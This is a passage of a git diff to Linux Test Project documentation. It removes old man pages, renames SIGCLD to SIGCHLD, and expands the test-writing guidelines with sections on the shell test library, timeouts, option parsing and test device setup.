-To clear/initialize a programmer can use the tst_clear_error()
-function or access the variables directly.
-
-.nf
-#include "test.h"
-	....
-	tst_clear_error();
-.fi
-
-To report an error, use tst_set_error() function:
-
-.nf
-#include "test.h"
-	....
-	tst_set_error(__LINE__, __FILE__, "funcname",
-		"Malloc(%d) failed, errno:%d", size, errno);
-.fi
-
-To access the error information an issue an error message:
-
-.nf
-#include "test.h"
- 	....
-	fprintf(stderr, "%s: funcname failed: %s\n", Prog, tst_error.te_mesg);
-
-.fi
-
-.SH DIAGNOSTICS
-Both functions are void, thus not return value.
-
-.SH BUGS
-There is no space overwrite preventions on the \fBtst_error.te_mesg\fR field.
-If \fIfmt\fR parameter of \fBtst_set_error\fR expands to a string
-larger than the space in \fBtst_error.te_mesg\fR, you will start overwriting
-memory.  This field contains 1024 bytes, which is fairly big error message.
diff --git a/doc/man3/tst_sig.3 b/doc/man3/tst_sig.3
index 485c010..7550644 100644
--- a/doc/man3/tst_sig.3
+++ b/doc/man3/tst_sig.3
@@ -55,18 +55,18 @@
 program.
 .P
 The \fIfork_flag\fR parameter is used to tell \fItst_sig\fR
-whether or not to ignore the SIGCLD signal caused by the death of a
+whether or not to ignore the SIGCHLD signal caused by the death of a
 child process that had previously been created by the
 \fIfork\fR(2) system call (see \fIsignal\fR(2) for more
-information on the SIGCLD signal).
+information on the SIGCHLD signal).
 .P
 Setting \fIfork_flag\fR to FORK will cause \fItst_sig\fR to
-ignore the SIGCLD signal.  This option should be set if the
+ignore the SIGCHLD signal.  This option should be set if the
 test program directly (eg. call \fIfork\fR(2)) or indirectly
 (eg. call \fIsystem\fR(3S)) creates a child process.
 .P
 Setting \fIfork_flag\fR to NOFORK will cause \fItst_sig\fR to
-treat the SIGCLD signal just as any other unexpected
+treat the SIGCHLD signal just as any other unexpected
 signal (ie. the \fIhandler\fR will be called).
 This option should be set by any test program which does not
 directly or indirectly create any child processes.
diff --git a/doc/man3/tst_tmpdir.3 b/doc/man3/tst_tmpdir.3
index 4baa359..b8a8d79 100644
--- a/doc/man3/tst_tmpdir.3
+++ b/doc/man3/tst_tmpdir.3
@@ -61,7 +61,7 @@
 exiting via \fBtst_exit()\fR.
 .P
 \fBtst_rmdir()\fR uses the \fBsystem\fR(3S) library routine (which in turn
-calls \fBfork\fR(2)), so tests that use it \fBcannot\fR treat SIGCLD as an
+calls \fBfork\fR(2)), so tests that use it \fBcannot\fR treat SIGCHLD as an
 unexpected signal.
 .P
 Users may gain access to the name of the temporary directory by declaring the
diff --git a/doc/man3/write_log.3 b/doc/man3/write_log.3
deleted file mode 100644
index df65b91..0000000
--- a/doc/man3/write_log.3
+++ /dev/null
@@ -1,244 +0,0 @@
-.\"
-.\" $Id: write_log.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH WRITE_LOG 3 07/25/2000 "Linux Test Project"
-.SH NAME
-write_log \- a set of routines for logging writes to a history file
-.SH SYNOPSIS
-.nf
-\fB#include "write_log.h"\fP
-
-\fBint wlog_open(struct wlog_file *\fIwfile\fB, int \fItrunc\fB, int \fImode\fB);\fR
-\fBint wlog_close(struct wlog_file *\fIwfile\fB);\fR
-\fBint wlog_record_write(struct wlog_file *\fIwfile\fB, struct wlog_rec *\fIwrec\fB, long \fIoffset\fB);\fR
-\fBint wlog_scan_backward(struct wlog_file *\fIwfile\fB, int \fInrecs\fB, int (*func)(struct wlog_rec *\fIrec\fB), long \fIdata\fB);\fR
-
-\fBchar *Wlog_Error_String;\fR
-.fi
-.SH DESCRIPTION
-
-The write_log package is a set of routines for creating a history file
-of write operations done to a set of files.
-
-It is assumed that the actual pattern written to the file will be
-repeated occurrences of a string whose length is no greater than
-WLOG_MAX_PATTERN.  See the pattern(3) man
-page for routines to conveniently generate buffers of this kind.
-
-wlog_open() initializes the history file contained in wfile->w_file, and
-fills in the wfile structure.  If trunc is non-zero, and existing history
-file by the same name will be truncated.  If no history file exists, it
-will be created with the specified mode.
-
-wlog_close() releases any resources associated with the given wfile.  Use
-of wfile after this point is undefined until it is initialized again with
-wlog_open().
-
-wlog_record_write() is the main routine for putting a wlog_rec into the
-history file.  The caller is responsible for supplying a fully initialized
-wlog_rec structure.  If offset is < 0, the record will be appended to the
-end of the history file.  If offset is >= 0, the record will be written
-at the indicated offset.  This, along with the w_done field in the wlog_rec
-structure, provide a mechanism for 'pre-logging' a write, doing the write
-operation, and then overlaying the original record with the w_done flag
-set to 1.  This is useful for async writes which may not complete in a
-timely manner.  It is also useful for seeing which write operations were
-pending at the time of a system crash - the ones whose w_done flag is 0 have
-not yet been verified as complete.
-The return value from wlog_record_write() is the offset
-in the history file at which the record was written.
-
-wlog_scan_backward() can be used to conveniently scan a write history file.
-The routine scans the file in reverse order (ie. first record written is
-scanned last).  For every record found, the user supplied function is called
-with 2 parameters:  the read record, and an arbitrary word passed in by the
-user.  This word may be interpreted however the user desires.  If nrecs is
-greater than 0, up to nrecs will be scanned.  The user supplied function should
-return 1 of the following:  WLOG_STOP_SCAN, or WLOG_CONTINUE_SCAN.
-WLOG_STOP_SCAN provides a way for the user supplied function to prematurely
-abort the scanning process.  WLOG_CONTINUE_SCAN instructs wlog_scan_backward()
-to continue scanning the next record.
-
-In order for the history file to be effective, some basic rules must
-be followed by the programs using the history mechanism:
-
-.in +.5i
-.ll -.5i
-The area of the data file being written must be locked from
-before the write operation, until after the wlog_record_write()
-is complete.  This is necessary to 'synchronize' simultaneous
-writes to the same area of a file.  Note that the entire file
-does not need to be locked, only the portion being written to.
-If the calling program can guarantee that there will never be more
-than 1 process writing to the same area of a file at the same time,
-locking is not necessary.  (Note:  UNICOS Shared File Systems do not support
-record locking.  The whole file is silently locked.)
-
-Pathnames in the history file (w_path field) should be full
-pathnames if possible.  This allows validation tools to be
-able to find the test files without having to take working
-directory considerations into account.
-.ll +.5i
-.in -.5i
-
-.nf
-\fC
-.ta .25i +.5i +1i
-/*
- * write log file data type.  wlog_open() initializes this structure
- * which is then passed around to the various wlog_xxx routines.
- */
-
-struct wlog_file {
-	int	w_afd;	/* append fd */
-	int	w_rfd;	/* random-access fd */
-	char	w_file[1024];	/* name of the write_log */
-};
-\fR
-.DT
-.fi
-
-.nf
-\fC
-.ta .25i +.5i +2.0i
-/*
- * User view of a history file record.  Note that this is not
- * necessarily how the data is formatted on disk (significant
- * compression occurs), so don't expect to od(1) the history file and
- * see things formatted this way.  See the file write_log.h for comments
- * on how the data is actually written to disk.
- */
-
-struct wlog_rec {
-	int	w_pid;	/* pid doing the write */
-	int	w_offset;	/* file offset */
-	int	w_nbytes;	/* # bytes written */
-	int	w_oflags;	/* low-order open() flags */
-	int	w_done;	/* 1 if io confirmed done */
-	int	w_async;	/* 1 if async write (writea) */
-
-	char	w_host[WLOG_MAX_HOST+1];	/* host doing write */
-	int	w_hostlen;	/* host name length */
-	char	w_path[WLOG_MAX_PATH+1];	/* file written to */
-	int	w_pathlen;	/* file name length */
-	char	w_pattern[WLOG_MAX_PATTERN+1];	/* pattern written */
-	int	w_patternlen;	/* pattern length */
-};
-\fR
-.DT
-.fi
-
-Note:  The history files can become very large very quickly if a lot of
-processes are logging writes.  This is especially apt to happen if long
-pathnames or patterns are used.  This is because the w_host, w_path, and
-w_pattern fields are variable length fields when stored on disk.  Thus, use
-short pathnames and patterns to minimize the size of the history file.  If
-any of the w_path, w_pattern, or w_host fields are not important to you, set
-the respective length field to 0 in the wlog_rec structure.
-
-.SH EXAMPLES
-This is a simple example of how to initialize a history file, and
-record a write to it.
-
-.nf
-#include "write_log.h"
-
-main()
-{
-	struct wlog_rec wrec;
-	struct wlog_file wfile;
-
-	...
-	strcpy(wfile.w_file, hisfile);
-	if (wlog_open(&wfile, 1, 0666) < 0) {
-		fprintf("wlog_open failed\n");
-		exit(2);
-	}
-
-	...
-
-	wrec.w_pid = getpid();
-	wrec.w_offset = write_offset;
-	wrec.w_nbytes = nbytes;
-	wrec.w_oflags = open_flags;
-	wrec.w_done = 0;
-	wrec.w_async = 0;
-	wrec.w_host = 0;             /* don't care about host */
-
-	wrec.w_pathlen = sprintf(wrec.w_path, "%s", path);
-	wrec.w_patternlen = sprintf(wrec.w_pattern, "%s", pattern);
-
-	pattern_fill(buf, nbytes, pattern, strlen(pattern), 0);
-
-	... lock fd here ...
-
-	log_offset = wlog_record_write(&wfile, &wrec, -1);
-	write(fd, buf, nbytes);
-	wrec.w_done = 1;
-	wlog_record_write(&wfile, &wrec, log_offset);
-
-	... unlock fd here ...
-
-	...
-
-	/*
-	 * Scan the logfile printing records for the file in 'path'.
-	 */
-
-	wlog_scan_backward(&wfile, 0, print_log_record, (long)path);
-}
-
-int
-print_log_record(record, data)
-struct wlog_rec	*record;
-long		data;
-{
-	char	*path;
-
-	path = (char *)data;
-	if (strcmp(record->w_path, path) == 0) {
-		printf("write() of %d bytes to %s at offset %d by pid %d\n",
-			record->w_nbytes, record->path, record->w_offset, record->w_pid);
-	}
-
-	return WLOG_CONTINUE_SCAN;
-}
-
-.fi
-.SH "SEE ALSO"
-pattern(3).
-.SH DIAGNOSTICS
-All routines return a value < 0 on failure, and >= 0 on success.  Error
-messages can be accessed through Wlog_Error_String.
-.SH BUGS
-None known.
diff --git a/doc/style-guide.txt b/doc/style-guide.txt
index 7f93a6d..08f126c 100644
--- a/doc/style-guide.txt
+++ b/doc/style-guide.txt
@@ -12,7 +12,7 @@
 
 Changelog:
 
- * Initial version: Garrett Cooper <yanegomi@gmail.com>
+ * Initial version: Ngie Cooper <yaneurabeya@gmail.com>
  * Reformatted for asciidoc: Cyril Hrubis <chrubis@suse.cz>
 **********************************************************************
 
diff --git a/doc/test-writing-guidelines.txt b/doc/test-writing-guidelines.txt
index db12d18..521773b 100644
--- a/doc/test-writing-guidelines.txt
+++ b/doc/test-writing-guidelines.txt
@@ -61,6 +61,11 @@
 idea to try to run the test using alternative shell (alternative to bash, for
 example dash) too.
 
+*Portable shell* means Shell Command Language as defined by POSIX with a
+exception of few widely used extensions, namely 'local' keyword used inside of
+functions and '-o' and '-a' test parameters (that are marked as obsolete in
+POSIX).
+
 You can either try to run the testcases on Debian which has '/bin/sh' pointing
 to 'dash' by default or install 'dash' on your favorite distribution and use
 it to run the tests. If your distribution lacks 'dash' package you can always
@@ -192,8 +197,8 @@
 do that you have to add 'INSTALL_DIR := testcases/data/TCID' into the
 'datafiles/Makefile').
 
-You can obtain path to datafiles via $LTP_DATAROOT provided by test.sh
-'$LTP_DATAROOT/...'
+You can obtain path to datafiles via $TST_DATAROOT provided by test.sh
+'$TST_DATAROOT/...'
 or via C function 'tst_dataroot()' provided by libltp:
 
 [source,c]
@@ -202,7 +207,7 @@
 -------------------------------------------------------------------------------
 
 Datafiles can also be accessed as '$LTPROOT/testcases/data/$TCID/...',
-but '$LTP_DATAROOT' and 'tst_dataroot()' are preferred as these can be used
+but '$TST_DATAROOT' and 'tst_dataroot()' are preferred as these can be used
 when running testcases directly in git tree as well as from install
 location.
 
@@ -213,7 +218,7 @@
    (where '$STARTWD' is initial working directory as recorded by 'tst_tmdir()')
 3. else return '$CWD/datafiles'
 
-See 'testcases/commands/ade/ldd/ldd01' for example.
+See 'testcases/commands/file/' for example.
 
 2.1.3 Subexecutables
 ^^^^^^^^^^^^^^^^^^^^
@@ -319,6 +324,10 @@
 
 IMPORTANT: Only one of '.test' and '.test_all' can be set at a time.
 
+Each test has a default timeout set to 300s. The default timeout can be
+overriden by setting '.timeout' in the test structure or by calling
+'tst_set_timeout()' in the test 'setup()'.
+
 A word about the cleanup() callback
 +++++++++++++++++++++++++++++++++++
 
@@ -332,9 +341,6 @@
    initialized. (Some of the steps may not depend on others and everything
    will work if there were swapped but let's keep it in order.)
 
-3. Avoid using SAFE_MACROS() in cleanup if you want the cleanup to carry on
-   when a cleanup step has failed.
-
 The first rule may seem complicated at first however, on the contrary, it's
 quite easy. All you have to do is to keep track of what was already
 initialized. For example file descriptors needs to be closed only if they were
@@ -372,17 +378,24 @@
 -------------------------------------------------------------------------------
 static void cleanup(void)
 {
-	if (fd1 > 0 && close(fd1))
-		tst_res(TWARN | TERRNO, "close(fd1)");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd0 > 0 && close(fd0))
-		tst_res(TWARN | TERRNO, "close(fd0)");
+	if (fd0 > 0)
+		SAFE_CLOSE(fd0);
 
 	if (mount_flag && tst_umouont(MNTPOINT))
-		tst_res(TBROK | TERRNO, "umount(%s)", MNTPOINT);
+		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
 }
 -------------------------------------------------------------------------------
 
+IMPORTANT: 'SAFE_MACROS()' used in cleanup *do not* exit the test. Failure
+           only produces a warning and the 'cleanup()' carries on. This is
+	   intentional as we want to execute as much 'cleanup()' as possible.
+
+WARNING: Calling tst_brk() in test 'cleanup()' does not exit the test as well
+         and 'TBROK' is converted to 'TWARN'.
+
 NOTE: Creation and removal of the test temporary directory is handled in
       the test library and the directory is removed recursively. Therefore
       we do not have to remove files and directories in the test cleanup.
@@ -438,6 +451,13 @@
 translate 'errno' values to strings is preferred. You should not use the
 'strerror()' function in the testcases.
 
+[source,c]
+-------------------------------------------------------------------------------
+void tst_set_timeout(unsigned int timeout);
+-------------------------------------------------------------------------------
+
+Allows for setting timeout per test iteration dymanically in the test setup(),
+the timeout is specified in seconds.
 
 2.2.3 Test temporary directory
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
@@ -512,6 +532,63 @@
 NOTE: The test parameters must not collide with common test parameters defined
       in the library the currently used ones are +-i+, +-I+, +-C+, and +-h+.
 
+[source,c]
+-------------------------------------------------------------------------------
+int tst_parse_int(const char *str, int *val, int min, int max);
+int tst_parse_float(const char *str, float *val, float min, float max);
+-------------------------------------------------------------------------------
+
+Helpers for parsing the the strings returned in the 'struct tst_option'.
+
+Both return zero on success and 'errno', mostly 'EINVAL' or 'ERANGE', on
+failure.
+
+Both functions are no-op if 'str' is 'NULL'.
+
+The valid range for result includes both 'min' and 'max'.
+
+.Example Usage
+[source,c]
+-------------------------------------------------------------------------------
+#include <limits.h>
+#include "tst_test.h"
+
+static char *str_threads;
+static int threads = 10;
+
+static struct tst_option options[] = {
+	{"t:", &str_threads, "Number of threads (default 10)"},
+	...
+	{NULL, NULL, NULL}
+};
+
+static void setup(void)
+{
+	if (tst_parse_int(str_threads, &threads, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
+
+	...
+}
+
+static void test_threads(void)
+{
+	...
+
+	for (i = 0; i < threads; i++) {
+		...
+	}
+
+	...
+}
+
+static struct tst_test test = {
+	...
+	.options = options,
+	...
+};
+-------------------------------------------------------------------------------
+
+
 2.2.6 Runtime kernel version detection
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -547,6 +624,9 @@
 test may be relevant even if the kernel version does not suggests so. See
 'testcases/kernel/syscalls/inotify/inotify04.c' for example usage.
 
+WARNING: The shell 'tst_kvercmp' maps the result into unsigned integer - the
+         process exit value.
+
 2.2.7 Fork()-ing
 ^^^^^^^^^^^^^^^^
 
@@ -585,6 +665,17 @@
 'test()' function so that it's reaped before the main test exits the 'test()'
 function.
 
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+void tst_reap_children(void);
+-------------------------------------------------------------------------------
+
+The 'tst_reap_children()' function makes the process wait for all of its
+children and exits with 'tst_brk(TBROK, ...)' if any of them returned
+a non zero exit code.
+
 2.2.9 Fork() and Parent-child synchronization
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -602,6 +693,8 @@
 
 TST_CHECKPOINT_WAIT(id)
 
+TST_CHECKPOINT_WAIT2(id, msec_timeout)
+
 TST_CHECKPOINT_WAKE(id)
 
 TST_CHECKPOINT_WAKE2(id, nr_wake)
@@ -614,8 +707,8 @@
 fact it's an index to an array stored in a shared memory, so it starts on
 '0' and there should be enough room for at least of hundred of them.
 
-The 'TST_CHECKPOINT_WAIT()' suspends process execution until it's woken
-up or until timeout is reached.
+The 'TST_CHECKPOINT_WAIT()' and 'TST_CHECKPOINT_WAIT2()' suspends process
+execution until it's woken up or until timeout is reached.
 
 The 'TST_CHECKPOINT_WAKE()' wakes one process waiting on the checkpoint.
 If no process is waiting the function retries until it success or until
@@ -817,6 +910,20 @@
 structure is initialized with a path to a test device and default filesystem
 to be used.
 
+You can also request minimal device size in megabytes by setting
+'.dev_min_size' the device is guaranteed to have at least the requested size
+then.
+
+If '.format_device' flag is set the device is formatted with a filesystem as
+well. You can use '.dev_fs_type' to override the default filesystem type if
+needed and pass additional options to mkfs via '.dev_fs_opts' and
+'.dev_extra_opt' pointers.
+
+If '.mount_device' is set, the device is mounted at '.mntpoint' which is used
+to pass a directory name that will be created and used as mount destination.
+You can pass additional flags and data to the mount command via '.mnt_flags'
+and '.mnt_data' pointers.
+
 [source,c]
 -------------------------------------------------------------------------------
 #include "tst_test.h"
@@ -832,8 +939,10 @@
 -------------------------------------------------------------------------------
 
 In case that 'LTP_DEV' is passed to the test in an environment, the library
-checks that the file exists and that it's a block device. Otherwise a
-temporary file is created and attached to a free loop device.
+checks that the file exists and that it's a block device, if
+'.device_min_size' is set the device size is checked as well. If 'LTP_DEV'
+wasn't set or if size requirements were not met a temporary file is created
+and attached to a free loop device.
 
 If there is no usable device and loop device couldn't be initialized the test
 exits with 'TCONF'.
@@ -1135,20 +1244,66 @@
 The file(s) are copied to the newly created test temporary directory which is
 set as the test working directory when the 'test()' functions is executed.
 
+2.2.23 Code path tracing
+^^^^^^^^^^^^^^^^^^^^^^^^
+
+'tst_res' is a macro, so on when you define a function in one file:
+
+[source,c]
+-------------------------------------------------------------------------------
+int do_action(int arg)
+{
+	...
+
+	if (ok) {
+		tst_res(TPASS, "check passed");
+		return 0;
+	} else {
+		tst_res(TFAIL, "check failed");
+		return -1;
+	}
+}
+-------------------------------------------------------------------------------
+
+and call it from another file, the file and line reported by 'tst_res' in this
+function will be from the former file.
+
+'TST_TRACE' can make the analysis of such situations easier. It's a macro which
+inserts a call to 'tst_res(TINFO, ...)' in case its argument evaluates to
+non-zero. In this call to 'tst_res(TINFO, ...)' the file and line will be
+expanded using the actual location of 'TST_TRACE'.
+
+For example, if this another file contains:
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+if (TST_TRACE(do_action(arg))) {
+	...
+}
+-------------------------------------------------------------------------------
+
+the generated output may look similar to:
+
+-------------------------------------------------------------------------------
+common.h:9: FAIL: check failed
+test.c:8: INFO: do_action(arg) failed
+-------------------------------------------------------------------------------
+
 2.3 Writing a testcase in shell
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 LTP supports testcases to be written in a portable shell too.
 
-There is a shell library modeled closely to the C interface (the source is
-located at 'testcases/lib/test.sh') and is installed to the same directory as
-the rest of the LTP test binaries.
+There is a shell library modeled closely to the C interface at
+'testcases/lib/tst_test.sh'.
 
 WARNING: All identifiers starting with TST_ or tst_ are reserved for the
-         'test.sh' library.
+         test library.
 
-2.3.1 Basic shell test structure
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+2.3.1 Basic test interface
+^^^^^^^^^^^^^^^^^^^^^^^^^^
 
 [source,sh]
 -------------------------------------------------------------------------------
@@ -1157,52 +1312,252 @@
 # This is a basic test for true shell buildin
 #
 
-TCID=true01
-TST_TOTAL=1
-. test.sh
+TST_ID="true01"
+TST_TESTFUNC=do_test
+. tst_test.sh
 
-true
-ret=$?
+do_test()
+{
+	true
+	ret=$?
 
-if [ $ret -eq 0 ]; then
-	tst_resm TPASS "true returned 0"
-else
-	tst_resm TFAIL "true returned $ret"
-fi
+	if [ $ret -eq 0 ]; then
+		tst_res TPASS "true returned 0"
+	else
+		tst_res TFAIL "true returned $ret"
+	fi
+}
 
-tst_exit
+tst_run
 -------------------------------------------------------------------------------
 
-TIP: To execute this test the 'test.sh' library must be in '$PATH'. If you are
-     executing the test from a git checkout you can run it as
+TIP: To execute this test the 'tst_test.sh' library must be in '$PATH'. If you
+     are executing the test from a git checkout you can run it as
      'PATH="$PATH:../../lib" ./foo01.sh'
 
-WARNING: Do not forget to add the 'tst_exit' at the end of the test,
-         otherwise the test return value would be the return value of last
-	 executed command.
+The shell library expects test setup, cleanup and the test function executing
+the test in the '$TST_SETUP', '$TST_CLEANUP' and '$TST_TESTFUNC' variables.
 
-2.3.2 Basic test interface
-^^^^^^^^^^^^^^^^^^^^^^^^^^
+Both '$TST_SETUP' and '$TST_CLEANUP' are optional.
 
-Following functions similar to the LTP C interface are available.
+The '$TST_TESTFUNC' may be called several times if more than one test
+iteration was requested by passing right command line options to the test.
 
-* tst_resm()
-* tst_brkm()
-* tst_exit()
-* tst_require_root()
-* tst_tmpdir()
-* tst_rmdir()
-* tst_fs_has_free()
-* tst_mkfs()
-* tst_acquire_device()
-* tst_release_device()
+The '$TST_CLEANUP' may be called even in the middle of the setup and must be
+able to clean up correctly even in this situation. The easiest solution for
+this is to keep track of what was initialized and act accordingly in the
+cleanup.
 
-There is one more function called 'tst_check_cmds()' that gets unspecified
-number of parameters and asserts that each parameter is a name of an
-executable in '$PATH' and exits the test with 'TCONF' on first missing.
+Notice also the 'tst_run' function called at the end of the test that actually
+starts the test.
 
-tst_sleep
-+++++++++
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Example test with tests in separate functions
+#
+
+TST_ID="example01"
+TST_TESTFUNC=test
+TST_CNT=2
+. tst_test.sh
+
+test1()
+{
+	tst_res TPASS "Test 1 passed"
+}
+
+test2()
+{
+	tst_res TPASS "Test 2 passed"
+}
+
+tst_run
+-------------------------------------------------------------------------------
+
+If '$TST_CNT' is set, the test library looks if there are functions named
+'$\{TST_TESTFUNC\}1', ..., '$\{TST_TESTFUNC\}$\{TST_CNT\}' and if these are
+found they are executed one by one.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Example test with tests in a single function
+#
+
+TST_ID="example02"
+TST_TESTFUNC=do_test
+TST_CNT=2
+. tst_test.sh
+
+do_test()
+{
+	case $1 in
+	1) tst_res TPASS "Test 1 passed";;
+	2) tst_res TPASS "Test 2 passed";;
+	esac
+}
+
+tst_run
+-------------------------------------------------------------------------------
+
+Otherwise, if '$TST_CNT' is set but there is no '$\{TST_TESTFUNC\}1', etc.,
+the '$TST_TESTFUNC' is executed '$TST_CNT' times and the test number is passed
+to it in the '$1'.
+
+2.3.2 Library variables
+^^^^^^^^^^^^^^^^^^^^^^^
+
+Similarily to the C library various checks and preparations can be requested
+simply by setting right '$TST_NEEDS_FOO'.
+
+[options="header"]
+|=============================================================================
+| Variable name      | Action done
+| 'TST_NEEDS_ROOT'   | Exit the test with 'TCONF' unless executed under root
+| 'TST_NEEDS_TMPDIR' | Create test temporary directory and cd into it.
+| 'TST_NEEDS_DEVICE' | Prepare test temporary device, the path to testing
+                       device is stored in '$TST_DEVICE' variable.
+| 'TST_NEEDS_CMDS'   | String with command names that has to be present for
+                       the test (see below).
+| 'TST_NEEDS_MODULE' | Test module name needed for the test (see below).
+|=============================================================================
+
+Checking for presence of commands
++++++++++++++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+...
+
+TST_NEEDS_CMDS="modinfo modprobe"
+. tst_test.sh
+
+...
+
+-------------------------------------------------------------------------------
+
+Setting '$TST_NEEDS_CMDS' to a string listing required commands will check for
+existence each of them and exits the test with 'TCONF' on first misssing.
+
+Alternatively the 'tst_check_cmds()' function can be used to do the same on
+runtime, since sometimes we need to the check at runtime too.
+
+Locating kernel modules
++++++++++++++++++++++++
+
+The LTP build system can build kernel modules as well, setting
+'$TST_NEEDS_MODULE' to module name will cause to library to look for the
+module in a few possible paths.
+
+If module was found the path to it will be stored into '$TST_MODPATH'
+variable, if module wasn't found the test will exit with 'TCONF'.
+
+2.3.3 Optional command line parameters
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Optional test command line parameters
+#
+
+TST_ID="example03"
+TST_OPTS="af:"
+TST_USAGE=usage
+TST_PARSE_ARGS=parse_args
+TST_TESTFUNC=do_test
+
+. tst_test.sh
+
+ALTERNATIVE=0
+MODE="foo"
+
+usage()
+{
+	cat << EOF
+usage: $0 [-a] [-f <foo|bar>]
+
+OPTIONS
+-a     Enable support for alternative foo
+-f     Specify foo or bar mode
+EOF
+}
+
+parse_args()
+{
+	case $1 in
+	a) ALTERNATIVE=1
+	f) MODE="$2"
+	esac
+}
+
+do_test()
+{
+	...
+}
+
+tst_run
+-------------------------------------------------------------------------------
+
+The 'getopts' string for optional parameters is passed in the '$TST_OPTS'
+variable. There are a few default parameters that cannot be used by a test,
+these can be listed with passing help '-h' option to any test.
+
+The function that prints the usage is passed in '$TST_USAGE', the help for
+the options implemented in the library is appended when usage is printed.
+
+Lastly the fucntion '$PARSE_ARGS' is called with the option name in '$1' and,
+if option has argument, its value in '$2'.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Optional test positional paramters
+#
+
+TST_ID="example04"
+TST_POS_ARGS=3
+TST_USAGE=usage
+TST_TESTFUNC=do_test
+
+. tst_test.sh
+
+usage()
+{
+	cat << EOF
+usage: $0 [min] [max] [size]
+
+EOF
+}
+
+min="$1"
+max="$2"
+size="$3"
+
+do_test()
+{
+	...
+}
+
+tst_run
+-------------------------------------------------------------------------------
+
+You can also request a number of positional parameters by setting the
+'$TST_POS_ARGS' variable. If you do, these will be available as they were
+passed directly to the script in '$1', '$2', ..., '$n'.
+
+2.3.4 Usefull library functions
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Sleeping for subsecond intervals
+++++++++++++++++++++++++++++++++
 
 Albeit there is a sleep command available basically everywhere not all
 implementations can support sleeping for less than one second. And most of the
@@ -1215,10 +1570,19 @@
 tst_sleep 100ms
 -------------------------------------------------------------------------------
 
-tst_random
-+++++++++
+Checking for integers
++++++++++++++++++++++
 
-There is no $RANDOM in portable shell, use tst_random instead.
+[source,sh]
+-------------------------------------------------------------------------------
+# returns zero if passed an integer parameter, non-zero otherwise
+tst_is_int "$FOO"
+-------------------------------------------------------------------------------
+
+Obtaining random numbers
+++++++++++++++++++++++++
+
+There is no '$RANDOM' in portable shell, use 'tst_random' instead.
 
 [source,sh]
 -------------------------------------------------------------------------------
@@ -1226,6 +1590,53 @@
 tst_random 0 1000
 -------------------------------------------------------------------------------
 
+Formatting device with a filesystem
++++++++++++++++++++++++++++++++++++
+
+The 'tst_mkfs' helper will format device with the filesystem.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# format test device with ext2
+tst_mkfs ext2 $TST_DEVICE
+-------------------------------------------------------------------------------
+
+Umounting filesystems
++++++++++++++++++++++
+
+The 'tst_umount' helper is a safe way to umount a filesystem.
+
+If the path passed to the function is not mounted (present in '/proc/mounts')
+it's noop.
+
+Otherwise it retries to umount the filesystem a few times on a failure, which
+is a workaround since there are a daemons dumb enough to probe all newly
+mounted filesystems, which prevents them from umounting shortly after they
+were mounted.
+
+Running commands as different user with 'su'
+++++++++++++++++++++++++++++++++++++++++++++
+
+While some distributions retain paths added to +$PATH+ when doing
++su user -c "command"+ this does not work at least in Debian. If you want to
+run LTP binaries as a different user you must use 'tst_su' instead which sets
+up +$PATH+ and the runs the command.
+
+.Run test child binary as a test user
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+TCID=foo01
+. test.sh
+
+tst_su testusr foo01_child
+if [ $? -ne 0 ]; then
+	tst_resm TFAIL "foo failed"
+else
+	tst_resm TPASS "foo passed"
+fi
+-------------------------------------------------------------------------------
+
 ROD and ROD_SILENT
 ++++++++++++++++++
 
@@ -1244,7 +1655,6 @@
 fi
 
 
-
 ROD command arg1 arg2 ...
 
 # is shorthand for:
@@ -1273,6 +1683,56 @@
 passed to the 'ROD' function as parameters and the 'ROD' function contains
 code to split '$@' on '>' and redirects the output to the file.
 
+EXPECT_PASS and EXPECT_FAIL
++++++++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+EXPECT_PASS command arg1 arg2 ... [ \> file ]
+EXPECT_FAIL command arg1 arg2 ... [ \> file ]
+-------------------------------------------------------------------------------
+
+'EXPECT_PASS' calls 'tst_resm TPASS' if the command exited with 0 exit code,
+and 'tst_resm TFAIL' otherwise. 'EXPECT_FAIL' does vice versa.
+
+Output redirection rules are the same as for the 'ROD' function. In addition
